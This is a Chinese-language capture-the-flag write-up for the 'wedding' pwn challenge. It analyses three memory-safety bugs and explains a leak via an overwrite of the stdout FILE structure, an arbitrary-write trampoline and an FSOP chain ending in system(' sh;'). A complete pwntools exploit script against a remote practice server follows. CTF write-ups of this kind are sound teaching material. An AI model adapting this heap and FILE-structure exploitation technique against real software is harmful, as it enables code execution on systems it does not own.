PWN

wedding

大体的思路参考 roderick 师傅的这篇博客

程序分析

洞有3个

第一个是 preapare 函数里的指定偏移位置写两个固定内容的字节,没有检查偏移大小。共有3次机会

第二个是 preapare 函数里表示 heap 数组和 size 数组下标的变量可能未初始化

第三个是 revise 函数里未检查数组下标大小

利用思路

申请大内存,让 malloc 使用 mmap 来分配内存,此时得到的chunk指针与libc的偏移是固定的。利用 preapare 函数里3次任意偏移写的机会,前两次用来修改 _IO_2_1_stdout_ 结构体的 _flags_IO_write_base,泄露出 libc , heap , elfstack 的地址;最后一次用来修改与 elf 基址偏移为 0x4014 的地方的值,这个地方的作用下面再解释

随便申请5个chunk,将 preapare 函数中检查的8个下标都填满,这样在下次申请时,表示下标的变量就不会在 preapare 函数中初始化

这个表示数组下标变量在 rbp-0xc 的位置,所以可以利用 my_read 中可控的buf来提前控制这个变量的值,从而实现任意下标写堆块地址和堆块大小。利用这个把 wlshesw1shes 变量改成负数,这样在 revise 中就有多次写的机会了

heap 数组下面一点的位置有一个指向自身的指针,可以利用这个作为一个跳板,结合 revise 实现多次可控的任意地址写。在 preapare 中第三次的任意偏移写的机会就是让这个地址对应的 size 大于 0x999 ,这样 revise 里就可以一次性写入8个字节

这里笔者是先将它修改为 heap[0] 的地址,这样第二次写时就相当于写 heap[0] 的值,再对 heap[0] 上的指针写就相当于实现了任意地址写。其实到这一步已经可以尝试劫持类似 malloc_hook 的变量来 getshell 了,但发现 one_gadget 没有一个是有效的,所以只能打fsop了。循环修改跳板的值和 heap[0] 的值,在bss段上布置好一个 fake_file 结构体,最后劫持bss段上的 stdout 指针为 fake_file 的地址 getshell

exp

因为在 preapare 函数的第3次任意偏移写需要输入很大的负数(8个或9个字节,大概率是9个),而 my_read 函数中最多只能输入8个字节,所以exp有概率不通(需要多尝试几次)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python2
# -*- coding: UTF-8 -*-
from pwn import *

# io = process('./wedding_room')
io = remote('node4.buuoj.cn', 25890)

context.binary = 'wedding_room'

libc = ELF('libc.so.6', checksec = False)

ru = lambda x : io.recvuntil(x, drop = True)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\x00'))
libc_os = lambda x : libc_base + x
pie_os = lambda x : pie_base + x
heap_os = lambda x : heap_base + x
libc_sym = lambda x : libc_os(libc.sym[x])
lg = lambda x : info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (x, eval(x)))

def menu(choice):
sla('your choice >> \n', str(choice))

def prepare(size, offset):
global chance
menu(1)
sla('how much do you prepare>> \n', str(size))
if chance < 3:
chance += 1
else:
return
sa('>> \n', str(offset))

def revise(idx, content):
menu(2)
sla('which packet you want to revise>> \n', str(idx))
sa('now write your wish>> \n', content)

chance = 0
prepare(0x21000, 0x20f690 + 1)
prepare(0x21000, 0x231690 + 0x20)
data = ru('\x3e\x3e')
pie_base = uu64(data[-(0x1763):-(0x1763-8)]) - (0x5585eb6f2030 - 0x5585eb6ee000)
lg('pie_base')
libc_base = uu64(data[-(0x23-8):-(0x23-0x10)]) - (0x7fa103f87980 - 0x7fa103d9b000)
lg('libc_base')
sys_addr = libc_sym('system')
heap_base = uu64(data[-0xb43:-(0xb43-8)]) - 0x290
lg('heap_base')
stack_addr = uu64(data[-0x2e3:-(0x2e3-8)])
lg('stack_addr')
prepare(0x10, pie_os(0x55642f3cd017 - 0x55642f3c9000) - heap_os(0x290) - 0x10)
for i in range(5):
prepare(0x10, 0)

sa('your choice >> \n', '1\x00\x00\x00\xfc\xff\xff\xff')
sla('how much do you prepare>> \n', '-30')
sa('your choice >> \n', '1\x00\x00\x00\xfd\xff\xff\xff')
sla('how much do you prepare>> \n', '-30')
fake_file_addr = pie_os(0x0000000000004020 + 0x300)
revise(-0x13, flat(pie_os(0x00000000000040A0)))

revise(-0x13, flat(fake_file_addr))
revise(0, ' sh;')
revise(-0x13, flat(fake_file_addr + 0x88))
revise(0, flat(fake_file_addr - 0x100))
revise(-0x13, flat(fake_file_addr + 0xa0))
revise(0, flat(fake_file_addr + 0x100))
revise(-0x13, flat(fake_file_addr + 0xc0))
revise(0, flat(0))
revise(-0x13, flat(fake_file_addr + 0xd8))
revise(0, flat(libc_os(0x7fec2ec36f60 - 0x7fec2ea4e000 - 0x20)))
revise(-0x13, flat(fake_file_addr + 0x100 + 0x18))
revise(0, flat(0))
revise(-0x13, flat(fake_file_addr + 0x100 + 0x30))
revise(0, flat(0))
revise(-0x13, flat(fake_file_addr + 0x100 + 0xe0))
revise(0, flat(fake_file_addr + 0x200))
revise(-0x13, flat(fake_file_addr + 0x200 + 0x68))
revise(0, flat(sys_addr))
revise(-0x13, flat(pie_os(0x0000000000004020)))

lg('fake_file_addr')
revise(0, flat(fake_file_addr))
ia()